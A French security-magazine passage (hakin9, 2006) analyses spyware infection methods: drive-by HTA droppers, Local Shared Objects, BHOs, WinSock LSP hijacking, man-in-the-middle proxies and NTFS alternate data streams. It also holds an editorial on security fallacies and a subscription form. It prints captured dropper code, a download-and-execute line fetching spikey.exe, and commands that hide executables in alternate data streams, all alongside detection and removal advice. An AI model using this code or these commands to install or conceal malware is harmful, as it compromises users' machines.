une partie d'un flux de données capturées via une alerte IDS. Ce code
extrêmement flou tente en réalité
d'utiliser JavaScript afin de créer un
fichier q706634.exe sur la partition
C:\ du système. Le nom du fichier
ressemble étonnamment à un fichier
d'actualisation de Microsoft.
Si vous jetez un coup d'œil sur
la partie fonctionnelle, vous remarquerez que les données sont
encryptées et enregistrées dans ce
fichier. L'exécutable se lance alors
et un composant ActiveX est également inséré dans ce code. Il ouvre
le fichier sur l'ordinateur cible. Une
légère modification de la fonction du
script original vous permet d'écrire
le contenu décodé et de découvrir
www.hakin9.org
Figure 2. Utilisateurs autorisent
souvent l'installation de composeurs
ce qu'il fait. Le Listing 2 contient des
fragments de sortie.
Le fichier q706634.exe est un exécutable Win32 de longueur de 32367
octets. Après l'avoir analysé à l'aide
de OllyDbg, vous saurez davantage
ce que ce fichier est capable de faire.
Lorsque spikey.exe est téléchargé et
exécuté, il se copie dans le répertoire
WINDOWS\System32 sous le nom
de hddwizz.exe et il installe une clé
pour se lancer dans HKLM\Software\
Microsoft\Windows\Currentversion\
Run. Les fichiers DLL sont également
installés dans le même répertoire. Le
programme fonctionne alors comme
un enregistreur de frappes (en anglais
keylogger) et envoie les données au
moyen de courriels, qui sont ensuite
supprimés.
L'auteur de cet article a réussi
à capturer plusieurs logiciels espion/
chevaux de Troie de ce type au
moyen de pots de miel (en anglais
honeypots). Ils se servaient des
mêmes astuces d'obfuscation et de
décodage et travaillaient en utilisant
hakin9 Nº 1/2006
67
Fiche technique
Listing 1. Données capturées via une alerte IDS
HTTP/1.1 200 OK
Date: Mon, 18 Apr 2005 12:27:30 GMTServer: §
Apache/1.3.33 (Unix) mod_deflate/1.0.21
Connection: close Transfer-Encoding: chunked
Content-Type: application/hta <script language=jscript>try{§
self.moveTo(5000,5000);function b2u(c){var x=""; §
for(w=0;w<c.length;){h=Array();for(e=0;e<8;e++){h[e]= §
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" §
.indexOf(c.charAt(w++));}x+=String.fromCharCode(h[0]<<10|h[1]§
<<4|h[2]/4,h[2]<<14|h[3]<<8|h[4]*4|h[5]>4,h[5]<<12|h[6]<<6|h[7]);}return
x;}g=newActiveXObject("Scripting.FileSystemObject");fname=§
'c:\\q706634.exe';t=g.CreateTextFile(fname,true);t.Write('MZ'); §
t.Close();t=g.OpenTextFile((fname),8,false,true);t.Write(b2u( §
"””hkjhfksjdyuiuywejkrwje!`?{}{jiihfsdfhhdhfd[]] §
[kjsdjkajsjkjsd)(qyqm,mniuajkalkdfhksdkjfds78e9893jka89j23o0jl& §
*&kjkjskjdkdf&*jdjfsf98slkdkjq9jaoiu
(...)
des techniques IFRAME et de redirection.
Comment détecter/éviter/
supprimer ?
Afin d'éviter une telle infection, il est
nécessaire d'utiliser les méthodes
suivantes :
•
•
•
•
68
Mise à jour régulière de Windows
– installation de correctifs.
ACL (Access Control Lists) dans
les répertoires C:\WINDOWS
et C:\WINDOWS\system32 pour
empêcher les utilisateurs d'installer le logiciel dans ces endroits.
ACL sur les clés de registre
suivantes pour empêcher les
utilisateurs d'ajouter ces valeurs
(Définir la Valeur – Set Value
ou Créer une sous-clé – Create
Subkey) :
• HKEY_LOCAL_MACHINE\
Software\Microsoft\
Windows\ CurrentVersion\
Run,
• HKEY_LOCAL_MACHINE\
Software\Microsoft\
Windows\ CurrentVersion\
RunOnce,
• HKEY_LOCAL_MACHINE\
Software\Microsoft\
Windows\ CurrentVersion\
RunServices,
• HKEY_LOCAL_MACHINE\
System\CurrentControlSet\
Services.
Utiliser le logiciel d'intégrité de
fichiers, par exemple Tripwire.
hakin9 Nº 1/2006
Au cas de l'infection, la plupart des logiciels anti-spyware et anti-virus sont
capables de détecter et de nettoyer le
désordre. Il est toutefois recommandé
d'effectuer plusieurs vérifications
à l'aide de différents types de logiciels
anti-spyware. Hitman Pro (voir l'encadré Sur Internet) est particulièrement
recommandé ici.
Persistent
Identification Elements
La société United Virtualities a développé cette nouvelle technique.
D'après son site Web, Persistent
Identification Element (PIE) est balisé au navigateur de l'utilisateur et
apporte un ID unique comme le fait
un codage de cookie traditionnel.
Les PIE ne peuvent toutefois être
supprimés par aucun programme
anti-spyware ou autre programme
de suppression de logiciels malveillants ou publicitaires disponibles.
Listing 2. Fragments de sortie d'une version modifiée du lien de logiciel
espion
<textarea id="Main_HTA">
<HTA:APPLICATION id=DSD
Applicationname="DSD"
showintaskbar=NO
caption=YES
<IFRAME name="icounter" src="about:blank" widh=8 height=8></IFRAME>
<SCRIPT language="VBSCRIPT">
If Instr(Exploit_Path,"cgi-bin"<>0 then CGI_SCRIPT_PATH=Exploit_PATH
& "spycheck.cgi"
WinOS=Get_Win_Version
Select Case WinOS
Case "NT"
Call Download_and_Execute (Trojan_Path,Exename, " ",1)
Trojan_Path="http://www.isendyousomenicespyware.com/spikey.exe"
Listing 3. Un exemple d'un Local Shared Object
// Créer un SO
mySO = SharedObject.getLocal("sticky spyware");
// Ajouter certaines données importantes
mySO.data.stickAround = "uniqueID=w@nnaspy0nyoursurfing234589712";
// enregistrer SO sur un disque
mySO.flush();
// supprimer un SO
delete mySO;
// Recharger un SO
mySO = SharedObject.getLocal("test");
// Scanner le SO à la recherche des valeurs
for (a in mySO.data) {
trace(a+": "+mySO.data[a]);
}
www.hakin9.org
§
Méthodes d'infection par un logiciel espion
Ils sont même capables de fonctionner avec les paramètres de sécurité
par défaut de Internet Explorer.
United Virtualities a créé deux
types de PIE :
•
•
AccuCounter PIE, un replaçant
de cookie qui calcule les utilisateurs uniques avec exactitude,
Backup PIE, un PIE qui non
seulement calcule les utilisateurs
uniques mais il reconnaît aussi le
visiteur et reconstitue les cookies
supprimés.
Figure 3. Modifier les paramètres Flash pour éviter les PIE
Comment cela fonctionne ?
La plupart des navigateurs, comme
Firefox et Internet Explorer, se servent d'un modèle de zone pour gérer
les cookies. Les utilisateurs finals
peuvent accepter, refuser ou supprimer les cookies. Pour détourner ces
restrictions, on se sert de Local Shared Objects (LSO). Ces Local Shared
Objects sont développés par Macromedia pour être utilisés avec son
player Flash. Ces petits fichiers sont
installés par un plug-in JavaScript ou
Flash directement dans le système.
Ce type de fichier porte l'extension
.sol et peut se trouver dans des
endroits divers, en général dans
un sous-répertoire de Documents
and Settings\{User Name}\Application Data\Macromedia\Flash Player\.
Après l'installation, ils agissent comme des cookies ordinaires.
Unitied virtualities se sert des
Local Shared Objects et leur donne
un numéro d'identification unique.
Ce numéro permet de suivre facilement un utilisateur final sur Internet.
Cette technique permet de chercher
une sauvegarde dans Flash et de
reconstituer le cookie lorsqu'un site
Web découvre son absence.
Figure 4. Fichiers avec l'extension .sol contenant les Local Shared Objects
Un exemple pratique
Puisque United Virtualities ne publie
pas le code, on essaie d'en reconstruire une partie en se basant sur les
notions utilisées. Macromedia fournit
une bonne documentation concernant la réalisation des Local Shared
Objects. Cette documentation vous
permet de créer le code, comme
celui du Listing 3.
Figure 5. Une liste de sites Web qui stockent les LSO sur des ordinateurs
locaux
www.hakin9.org
hakin9 Nº 1/2006
69
Fiche technique
sont pas seulement originaires des
annonces mais ils peuvent être présents pour une multitude de raisons
légitimes. Vous pouvez être tentés
d'arrêter la traçabilité en supprimant
tout simplement les fichiers .sol mais
il existe une meilleure façon. Faites
un tour sur le site suivant : http://
w w w.macromedia.com /suppor t /
documentation/en/flashplayer/help/
settings_manager07.html. Une application Flash présentée sur cette
page propose une liste de sites Web
qui utilisent les LSO (voir la Figure 5).
À présent, pour supprimer facilement
les éléments, vous effacez le site
Web du Settings Manager.
Figure 6. Comment fonctionnent des BHO ?
Comme vous pouvez le constater,
il est très facile de créer des LSO. Si
vous les combinez avec JavaScript
dans une page Web, vous pouvez
alors les insérer facilement dans le
navigateur d'un utilisateur.
Comment détecter/éviter/
supprimer ?
Il est aussi facile d'éviter les PIE que
de modifier les paramètres Flash
globaux. Pour savoir comment utiliser le Gestionnaire de paramètres
(en anglais Settings Manager), il est
recommandé de visiter le site http://
w w w.macromedia.com /suppor t /
d o c u m e n ta t i o n / e n / f las hp laye r /
help/settings_manager.html. Il est
possible de passer directement à la
modification des paramètres à partir
de cette page.
Il existe de nombreuses pages
où vous pouvez ajuster les paramè-
tres sur votre ordinateur local. Tout
d'abord sélectionnez Global Security
Settings Panel à gauche, puis empêchez tout accès des sites Web
à votre ordinateur ou tout stockage
de données sur votre ordinateur,
pour ce faire cliquez sur le bouton
Always deny. Il est recommandé de
procéder de la même manière dans
le panel Global Privacy Settings.
Afin de détecter les LSO, cherchez tout simplement les fichiers portant l'extension .sol (voir la Figure 4).
Les résultats démontrent clairement
que certaines entrées trouvées proviennent des annonces Web. Vous
pouvez toutefois remarquer que
l'utilisation de nombreux cookies
sont légitimes. D'autres membres de
la suite Flash MX peuvent également
se servir des Local Shared Objects.
Vous pouvez toutefois remarquer que les fichiers persistants ne
Figure 7. BHODemon – logiciel de gestion des BHO
70
hakin9 Nº 1/2006
www.hakin9.org
Browser Helper
Objects
Les Browser Helper Objects (objets
d'aide à la navigation) vous permettent d'écrire des composants (et plus
précisément, les composants inprocess Component Object Model,
COM) qu’Internet Explorer chargera
à chaque démarrage. Ces objets
s'exécutent dans le même contexte
de mémoire que le navigateur et
peuvent effectuer n'importe quelle
action sur les fenêtres et modules
disponibles. Une application BHO
pourrait accéder au menu et à la
barre d'outils du navigateur et effectuer des modifications, créer des fenêtres pour afficher des informations
supplémentaires sur la page actuellement visitée. Elle est également
capable d'installer des crochets pour
surveiller les messages ainsi que les
actions. Les barres d'outils de Goo-
Méthodes d'infection par un logiciel espion
Listing 4. Analyse d'une technique de piratage Winsock
Start Page
Software\Microsoft\Internet Explorer\Main
srchost_table_size
plugins
data_timeout
time_offset
data.webhancer.com:80
dc_servers
secondary.webhancer.com:80
sec_auth_server
prime.webhancer.com:80
prim_auth_server
HTTP/1.0
Listing 5. Davantage de code trouvé à l'aide de Malcode Analyst Pack
Figure 8. LSP dans la chaîne
WinSock
gle et Yahoo sont des exemples des
applications légales qui se servent
de BHO.
Comment cela
fonctionne-t-il ?
Un BHO est lié à la fenêtre principale du navigateur. En pratique, une
nouvelle instance de l'objet se crée
dès qu'une nouvelle fenêtre du navigateur se crée. Toute instance de
BHO vie et meurt avec l'instance du
navigateur. Les BHO n'existent que
dans Internet Explorer, version 4.0
ou supérieure.
Dans sa forme la plus simple, un
BHO est un serveur COM in-process
(en processus) enregistré dans une
certaine clé de registre. Au démarrage, Internet Explorer cherche cette
clé et charge tous les objets dont les
CLSID y sont stockés. Le navigateur
initialise l'objet et lui demande une
certaine interface. Si cette interface
est trouvée, Internet Explorer se sert
des méthodes fournies pour transmettre son pointeur IUnknown à l'ob-
46F021DC-CB81-4acc-BA1B-9E1B440020D4er
127.0.0.1
localhost
912B4D64-E5A5-4bfc-9808-4CF149F2F965-31
951B13F8-F40D-4c56-BD57-909A968F918B-31
4851F512-58B1-446a-85A0-D944078E9A7D-31
B317949A-EE2E-48e6-BE41-CD5744F706D2-31
6A803934-0F46-489a-B02A-8A6DDFE30BB0-31
74F5FD53-368F-4e0d-805B-4A983826EF91-31
default
%s:%d
RegWhWs2Lsp
\Programs\webhdll.dll
jet d'aide. Puisque les BHO ont un
accès sans restrictions au modèle
d'événement de Internet Explorer,
certaines formes de logiciels malveillants ont été également créées
comme des BHO.
fichier principal de plug-in associé
au BHO (généralement, il s'agit d'un
fichier .DLL ou .OCX placé dans le
répertoire System de Windows) pour
supprimer manuellement le fichier.
Un exemple pratique
Afin de lier un programme à l'implémentation WinSock2, on se sert des
LSP. LSP signifie Layered Service
Provider. Puisque les LSP fonctionnent comme une chaîne lorsque
WinSock est utilisé, les données
sont également transportées via
chaque LSP dans une chaîne.
Le logiciel espion utilisant la
technique de piratage de WinSock,
déroute le trafic réseau vers par
exemple des sites avec un contenu
pour les adultes. WebHancer est un
exemple de programme malicieux.
Le code d'un BHO étant assez
volumineux, nous vous recommandons de jeter un coup d'œil
sur un exemple, un projet légitime
réalisé à l'aide de ces techniques :
http:/ /www.codeproject.com /atl /
popupblocker.asp. Vous trouverez
les manuels d'aide pour écrire des
BHO sur le site Web de Microsoft
MSDN.
Comment détecter/éviter/
supprimer ?
Les programmes comme BHODemon (voir la Figure 7 et l'encadré Sur
Internet) sont capables d'empêcher
les BHO de se lancer au démarrage
de Internet Explorer. BHODemon
peut également être employé pour
détecter une infection et identifier le
www.hakin9.org
Pirates de WinSock
Un exemple pratique
Quand vous analysez ce type de logiciel au moyen de Malcode Analyst
Pack du laboratoire iDEFENSE (voir
l'encadré Sur Internet), le code présenté sur les Listings 4 et 5 s'affiche
hakin9 Nº 1/2006
71
Fiche technique
via la commande strings. Ces exemples démontrent comment un proxy
se sert du site Web WebHancer en
ajoutant et en modifiant les clés de
registre afin de dérouter le trafic du
navigateur.
Comment détecter/éviter/
supprimer ?
Figure 9. Comment fonctionnent des proxies man-in-the-middle
Il est très difficile d'essayer de supprimer les programmes de ce type.
Sans le savoir, vous pouvez arrêter
votre connexion Internet pour de bon
car vous aurez supprimé un fichier
DLL incorrect. La meilleure solution
consiste à se servir d'un programme
dédié pour nettoyer correctement.
LSP-Fix en est un bon exemple (voir
l'encadré Sur Internet). Afin d'éviter
une installation d'un pirate de WinSock, vous pouvez également utiliser un outil appelé SockLock (voir
l'encadré Sur Internet). Il empêche
toute modification de WinSock en le
verrouillant.
Afin de détecter des pirates WinSock, vous pouvez vous servir d'un
outil tel que Hijack This (voir l'encadré Sur Internet). Au lancement de
cet outil, vous serez informés si votre
WinSock a été piraté (p. ex. Hijacked
Internet access by New.NetI) ou
endommagé (p. ex. Broken Internet
access because of LSP provider
'c:\ progra~1\ common~2\ toolbar \
cnmib.dll' missing). Il est toutefois
incapable de résoudre le problème.
Vous devrez donc vous servir de
LSP-Fix.
Proxies de l'attaque
man-in-the-middle
Figure 10. Détecter Marketscore au moyen de Active Ports
Listing 6. Logiciel malveillant distribué via ADS
10.0.0.75.1032 > 10.0.0.77.3733: P [tcp sum ok]
3530256009:3530256512(503) ack 758422019 win 17303
0x0000 4500 021f 02df 4000 8006 71de c0a8 0165 [email protected]
0x0010 c0a8 0166 0406 10e1 d26b 6e89 2d34 9a03 ...f.....kn.-4..
0x0020 5018 4397 e869 0000 0d0a 3132 2f30 352f P.C..i....23/09/
0x0030 3230 3034 2020 3039 3a33 3061 2020 2020 2005..22:09a....
0x0040 2020 2020 2020 2020 2020 3332 2c37 3638 ..........32,768
0x0050 2069 7065 7965 2e65 7865 0d0a 3132 2f30 rootkit.exe.23/0
0x0060 352f 3230 3034 2020 3039 3a33 3261 2020 9/2005..22:09a..
0x0070 2020 2020 2020 2020 2020 2020 3332 2c37 ............32,7
0x0080 3638 206b 6c6f 6767 6572 2e65 7865 0d0a 68.keylogger.exe
72
hakin9 Nº 1/2006
www.hakin9.org
Augmenter la vitesse de connexion Internet jusqu'à 40% – ne
serait-il pas super ? De nombreux
utilisateurs s'enthousiasment pour
les annonces de ce type et téléchargent les programmes comme
MarketScore (le fichier s'appelle
ossproxy). Il est recommandé de
ne jamais télécharger et installer
de tels programmes car il est tout
à fait probable que le programme
détournera en réalité tout trafic
Internet sur votre système via des
serveurs proxy dédiés (y compris
les transactions sécurisées !).
Méthodes d'infection par un logiciel espion
www.hakin9.org
hakin9 Nº 1/2006
73
Fiche technique
Il est aussi possible d'exécuter
directement les données dans un
ADS. On connaît au moins cinq façons d'exécuter des types différents
sous Windows 2000. Voici quelques
scénarios possibles :
•
•
•
Figure 11. Détecter des ADS au moyen de l'espion ADS
Comment cela fonctionne ?
Le logiciel installe souvent une autorité de certification de confiance. Au
moyen de la méthode man-in-themiddle, le trafic entier est dans un
premier temps envoyé aux serveurs
man-in-the-middle et ensuite, à la
destination tapée dans le champ
d'adresse URL du navigateur. Les
propriétaires de ces serveurs récoltent facilement toutes les données,
y compris les mots de passe et
d'autres informations confidentielles.
Comment détecter/éviter/
supprimer ?
Puisque la plupart de ces logiciels
sont installés de plein gré par l'utilisateur, la méthode pour les éviter est
assez simple : ne pas installer.
Afin de détecter si ce type de
logiciel est installé, il est nécessaire
de disposer d'un outil qui affiche des
caractéristiques de vos connexions.
Active Ports est un bon outil. La Figure 10 présente son utilisation pour
détecter l'infection MarketScore.
Vous pouvez voir de nombreuses
sessions qui se servent du fichier
ossproxy.exe en surfant sur Internet.
Flux de données
additionnels
NTFS est un système de fichiers de
choix lors de l'installation d'une plate-forme Microsoft. Il propose une
stabilité et une sécurité ainsi que
plusieurs autres mécanismes inté-
74
hakin9 Nº 1/2006
ressants. Un de ces mécanismes,
Flux de données additionnels (en
anglais Alternate Data Streams,
ADS) est utilisé pour fournir une
compatibilité avec Hierarchical File
System de Macintosh, en stockant
un ensemble de données dans un
fichier précis. Il peut également
être utilisé pour tracer le changement de volume. Microsoft ne
fournit pas d'outils pour détecter la
présence d'un code caché dans les
flux ADS.
Alternate Data Streams sont légèrement différents de Primary Data
Streams (flux de données primaires).
Microsoft et les applications tierces
sous Windows ne les gèrent pas de
la même manière. La plus grande
différence entre les flux de données
primaires et additionnels est de savoir si une application est capable
de détecter un flux additionnel, et
si c'est le cas de quelle manière
y accèder.
La façon de supprimer les données qui existent dans un flux additionnel n'est pas identique à celle
employée dans le cas des données
dans un flux primaire. Tout flux de
données a ses propres attributs fermants mais Windows ne fait attention qu'à la fermeture d'un flux sans
nom. Ceci crée une vulnérabilité où
un ADS peut être créé et édité. Il est
en même temps protégé pour que
les scanners ADS ne le découvrent
pas et ne le suppriment pas.
www.hakin9.org
•
•
Exécuter le flux à partir de la fenêtre Run quand file:\notepad.exe:
<stream name> fonctionne pour le
flux .exe et .vbs.
Exécuter le script Visual Basic
à partir de la ligne de commandes à l'aide de Windows Scripting Host en lançant wscript
notepad.exe:<VBstream name>.
Créer un raccourci à notepad.exe:
<stream name> exécutera aussi
bien le flux .exe que .vbs.
Placer le raccourci au flux dans le
répertoire Windows Startup exécutera les flux .exe et .vbs quand
l'utilisateur se connectera.
Ajouter une clé test avec une
valeur notepad.exe <stream
name> au HKLM\SOFTWARE\
Microsoft\Windows\
CurrentVersion\Run exécutera
les flux .exe et .vbs au démarrage
du système.
Les concepteurs de logiciels espions
(par exemple, les variantes CoolWebSearch) se servent des techniques de ce type pour cacher leur
code malveillant dans les ADS. Il est
très facile de le réaliser ; aucun outil
spécial n'est pas nécessaire ; l'utilisateur a besoin seulement d'un outil
sensible aux flux comme Notepad
pour éditer/ajouter des données.
Un exemple pratique
Démarrez avec un exemple très
simple :
> type c:\spyware.exe >
§
c:\winnt\system32\notepad.exe:
spyware.exe
§
ajoutera au programme notepad ordinaire un ADS spyware.exe.
Un autre exemple :
> cd C:\
> copy C:\winnt\notepad.exe
C:\notepad.exe
§
Méthodes d'infection par un logiciel espion
www.hakin9.org
hakin9 Nº 1/2006
75
Fiche technique
> edit C:\randumb.txt
> type notepad.exe >
randumb.txt:nd.exe
§
Vous pouvez à présent exécuter
toujours ce programme notepad.exe
à partir du fichier texte :
À propos de l'auteur
Christiaan Beek travaille depuis plusieurs années dans le domaine de sécurité. Il a
travaillé pour les sociétés nationales et internationales ; il a ainsi acquis du savoir lié
aux techniques de piratage, aux technologies de virus et à la détection des intrus.
Actuellement, il travaille comme consultant de sécurité/pirate éthique pour une société
hollandaise, Getronics. Il passe son temps libre avec sa famille ; il lit, analyse et étudie
l'ingénierie inverse de la sortie de ses pots de miel de logiciels malveillants.
> start C:\randumb.txt:nd.exe
Les crackers se servent aussi de cette technique pour installer les rootkits, les enregistreurs de frappes sur
les ordinateurs équipés de Windows
après avoir créé un shell distant dans
la boîte 0wn3d. En utilisant TFTP, les
fichiers suivants sont transférés vers
un répertoire qui a l'air innocent C:\
WUTemp$dir. Le Listing 6 présente
l'analyse du flux avec tcpdump.
Le répertoire C:\WUTemp$dir
contient un fichier appelé wutest. Un
intrus copie les outils dans ce fichier
pour les cacher dans un flux de données additionnel :
> type spyware.exe >
wutest:spyware.exe
§
Il est également possible de copier
un fichier dans un flux d'un répertoire
comme C:\. Il existe de nombreuses
manières dont peut se servir un intrus pour démarrer les programmes,
comme par exemple : les scripts batch
ou la commande start. Les analyses
récentes de pots de miel démontrent
que les attaques de ce type sont couramment utilisées ces derniers temps.
Comment détecter/éviter/
supprimer ?
Malheureusement, Microsoft ne
fournit pas d'outil pour détecter Alternate Data Streams. Il existe toutefois
d'autres logiciels, comme espions
LADS ou ADS (voir l'encadré Sur
Internet).
Voyez de quelle manière il est
possible de détecter et de supprimer des ADS en pratique. Dans un
premier temps, créez un exemple
de flux :
>§
c:\WINDOWS\system32\calc.exe: §
> type c:\temp\spyware.exe.txt
Ceci crée un ADS dans le fichier
calc.exe, la calculatrice. Démarrez
maintenant l'espion ADS : la Figure 11
présente les résultats d'un scan du
système. Comme vous pouvez le
remarquer, l'espion ADS a détecté
le flux ; vous pouvez à présent le sélectionner et le supprimer facilement
à l'aide de cet outil. Il est difficile d'éviter des ADS mais de plus en plus de
vendeurs de programmes anti-virus
améliorent leurs produits pour permettre de détecter ces ADS.
Conclusion
Pour résoudre les programmes liés
aux logiciels espions, un logiciel
anti-spyware ne suffit pas. Un pa-
Bibliographie
•
•
•
•
•
The Dark Side of NTFS (Microsoft’s Scarlet Letter) écrit par H. Carvey,
ADS écrit par R. Means,
Malware: Fighting Malicious Code écrit par Ed Skoudis et Lenny Zeltser,
The Art of Computer Virus Research and Defense écrit par Peter Szor,
Sockets, Shellcode, Porting, and Coding : Reverse Engineering Exploits and Tool
Coding for Security Professionals écrit par James C. Foster, Stuart McClure.
Sur Internet
•
•
•
•
•
•
•
•
•
http://www.mwcollect.org – mwcollect – une solution pour trouver des logiciels malveillants via des pots de miel,
http://www.definitivesolutions.com/bhodemon.htm – BHO Demon – pour se protéger contre les BHO inconnus,
http://www.hitmanpro.nl/ – une suite anti-spyware gratuite très recommandée,
http://www.idefense.com/iia/labs-software.php?show=8 – Malcode Analyst Pack,
http://www.nsclean.com/socklock.html – SockLock – protège WinSock contre les
modifications,
http://www.merijn.org/downloads.html – Hijack This (affiche des connexions
WinSock piratées), espion ADS (détecte et supprime Alternate Data Streams) et
d'autres outils intéressants,
http://www.protect-me.com/freeware.html – Active Ports – pour détecter les
proxies de man-in-the-middle,
http://www.cexx.org/lspfix.htm – LSP-Fix – aide à supprimer les LSP illégitimes,
http://www.heysoft.de/Frames/f_sw_la_en.htm – LADS – affiche des Alternate
Data Streams.
spyware.exe.txt
76
hakin9 Nº 1/2006
quet parfait n'étant pas disponible, la
meilleure façon consiste donc à utiliser une combinaison de programmes
anti-spyware acquis chez des éditeurs connus. Il est bien évidemment
aussi important de mettre à jour votre
système d'exploitation régulièrement.
Dans certains cas spécifiques, les
outils tiers sont nécessaires pour répondre aux problèmes.
D'un autre côté, est-il réellement
possible d'arrêter les logiciels espions ? Puisqu'ils rapportent beaucoup
d'argent, la lutte entre les concepteurs
et les défenseurs continuera ; ils vont
donc utiliser et développer de nouvelles techniques afin de se vaincre
mutuellement. l
www.hakin9.org
www.shop.software.com.pl/fr
Abonnez-vous à vos magazines préférés
et commandez des anciens numéros !
Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré.
Nous vous garantissons :
• des tarifs préférentiels,
• un paiement en ligne sécurisé,
• la prise en compte rapide de votre commande.
Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !
bulletin d’abonnement
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 887 10 11 ou par courrier :
Software-Wydawnictwo Sp. z o.o., Piaskowa 3, 01-067 Varsovie, Pologne ; Tél. 0048 22 887 13 44 ;
E-mail : [email protected]
Prénom Nom ............................................................................................... Entreprise ...................................................................................................
Adresse .................................................................................................................................................................................................................................
Code postal ................................................................................................
Ville ..............................................................................................................
Téléphone ...................................................................................................
Fax ...............................................................................................................
Je souhaite recevoir l'abonnement à partir du numéro .....................................................................................................................................................
E-mail (indispendable pour envoyer la facture) .................................................................................................................................................................
o Prolongement automatique d’abonnement
Titre
Programmation sous Linux (1 CD ou DVD)
Bimestriel pour les programmeurs professionnels
Nombre de
numéros
annuels
Nombre
d’abonnements
À partir du
numéro
Prix
6
38 €
6
38 €
12
86 €
Linux+ Extra Pack (4-7 CDs ou 1-3 DVDs)
Distributions Linux les plus populaires
6
50 €
PHP Solutions (1 CD)
Le plus grand magazine sur PHP au monde
6
38 €
6
38 €
6
39 €
Software Developer’s Journal Extra ! (1 CD ou DVD)
– anciennement Software 2.0 Extra
Bimestriel sur la programmation
Linux+DVD (2 DVDs)
Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs
Hakin9 – comment se défendre ? (1 CD)
Bimestriel destiné aux personnes qui s’intéressent à la sécurité des
systèmes informatiques
.PSD (2 CDs)
Bimestriel pour les utilisateurs d’Adobe Photoshop
Total
Je règle par :
¨
Carte bancaire n° CB
type de carte ..........................................................................
Virement bancaire :
Nom banque : Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003 01353 00028010183
90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
¨
expire le
code CVC/CVV
date et signature obligatoires
Fausses idées sur la
sécurité informatique
Éditorial
Stefano Zanero
D
ans un récent éditorial (http://www.ranum.com/
security/computer_security/editorials/dumb/ ),
Marcus J. Ranum, expert très connu en sécurité
informatique, a évoqué ce qu'il considère comme les idées
les plus fausses jamais entendues dans le domaine de la
sécurité informatique. J'ai moi-même trouvé son approche
assez amusante et intéressante. J'ai donc décidé de vous
faire partager sa liste de fausses idées tout en y ajoutant
mes notes et commentaires personnels.
Selon Ranum, le premier problème provient de l'approche appelée Autorisations par Défaut, autrement dit tout
autoriser sur votre machine à moins de faire l'objet d'une
interdiction explicite. Vous vous demandez sans doute mais
qui pense à régler son pare-feu avec une telle approche ?
Bien que j'aie à l'esprit quelques uns de mes clients, dans
l'ensemble, vous avez raison : aujourd'hui, nous pensons
tous que les pares-feux sont censés appliquer une politique d'Interdictions par Défaut. Mais pensez aux réseaux
dépourvus de segmentations internes... N'est-ce pas une
autre forme d'Autorisations par Défaut ? Et qu'en est-il des
systèmes d'exploitation exécutant n'importe quelle partie du
code inconnu, lorsque la plupart des utilisateurs n'exécutent
que quelques applications ? Sans mentionner toutes les
histoires autour des Systèmes de Prévention d'Intrusion :
sous leur appellation imposante, ne se trouvent que des
objets bien ordinaires chargés de supprimer des attaques
connues. En d'autres termes, s'il ne s'agit pas d'une attaque
connue, laisse la passer, ce qui n'est encore qu'un autre
exemple d'Autorisations par Défaut.
Ce qui nous conduit vers la deuxième idée fausse,
évoquée par Ranum : l'Enumération de mauvaise qualité.
En d'autres termes, développer votre système de sécurité
selon une liste de mauvaises actions que vous souhaitez
empêcher. Prenez par exemple les virus, les vers et les
chevaux de Troie : pourquoi perdre votre temps à lister
des milliers de nouveaux virus, lorsqu'il est juste possible
d'autoriser des applications spécifiques, et rien de plus,
à fonctionner sur votre PC ? La même manœuvre s'applique pour les systèmes de filtrage du trafic.
La troisième fausse idée décrite par Ranum est l'approche Pénétration et Correction, que j'ai, pour ma part,
trouvé moins convaincante. D'un côté, je suis d'accord avec
l'hypothèse selon laquelle (peu) d'applications, telles que
qmail ou Postfix, sont quasiment dépourvues de bogues ou
de vulnérabilités, dans la mesure où elles ont été conçues
pour être sûres. Donc, à l'instar de Marcus, je pense que
dans le domaine de l'ingénierie des logiciels, le problème
80
hakin9 Nº 1/2006
consiste à inverser cette approche. Mais, de l'autre côté, je
crois qu'en ce qui concerne la sécurité des réseaux, il est
très utile d'avoir quelqu'un chargé de tester les systèmes de
sécurité par pénétration pour l'utilisateur final, de manière
à lui garantir que tout a été réalisé correctement.
Je ne suis pas non plus convaincu par la quatrième idée
fausse : selon Ranum, nous devrions cesser de penser que
le piratage est génial, et commencer à apprendre que l'ingénierie de qualité est bien meilleure. Et bien, ma réponse
à cette idée est à la fois oui et non : nous avons besoin
d'ingénieurs capables de construire des logiciels robustes
dans leur conception, mais nous avons également besoin
d'esprits flexibles capables de remettre en question les
hypothèses et de prouver que ce que nous pensions impossible est possible, à l'instar des hackers.
Je passerai sur la cinquième fausse idée (sur la sensibilisation des utilisateurs, qui ne fonctionne pas... et j'aimerais donner un conseil personnel à Ranum sur sa sixième
fausse idée : il est parfois plus judicieux de ne rien faire que
de faire une bêtise. Avant de dépenser des dizaines de
milliers d'euros dans une nouvelle technologie non-testée,
il est préférable de placer son argent sur quelqu'un doté des
compétences nécessaires pour nous aider à comprendre
ce qu'il faut faire. Il vaut mieux d'abord comprendre d'où
vient l'erreur, avant d'appliquer de nouvelles politiques de
sécurité qui demeureront inutilisées.
Si la devise de Google est Don't be evil (Ne soyez pas
malveillants), je propose que la notre soit Don't be dumb
(Ne soyez pas idiots). Et c'est plus dur que vous ne pourriez l'imaginer, parole de connaisseur !l
À propos de l'auteur
Stefano Zanero poursuit ses études de doctorat dans le Département d'Electronique et d'Informatique de l’École Polytechnique de Milan. Il s'intéresse plus particulièrement aux Systèmes
de Détection d'Intrusion, à la performance des systèmes de
sécurité, ainsi qu'à la sécurité des applications web. Conférencier, auteur et co-auteur de nombreux livres et articles publiés
dans diverses revues, il est également membre du Conseil du
Journal in Computer Virology et opère en tant que réviseur
pour l'ACM Computing Reviews et l'IEEE Security&Privacy. Il
rédige également des articles pour l'hebdomadaire Security
Manager’s Journal sur Computer World Italy et a reçu un
prix de journalisme. Depuis 2004, il est actionnaire et PDG
de Secure Network, société spécialisée dans la formation en
sécurité informatique, basée à Milan.
www.hakin9.org
>
>
>
s
é
d
n
a
m
m
Sites reco
Abc de la sécurité informatique : Portail dédié a
la protection utilisateurs, la prévention et l’anonymat sur micro et réseaux.
http://abcdelasecurite.free.fr
Corporate Hackers fournit services et solutions
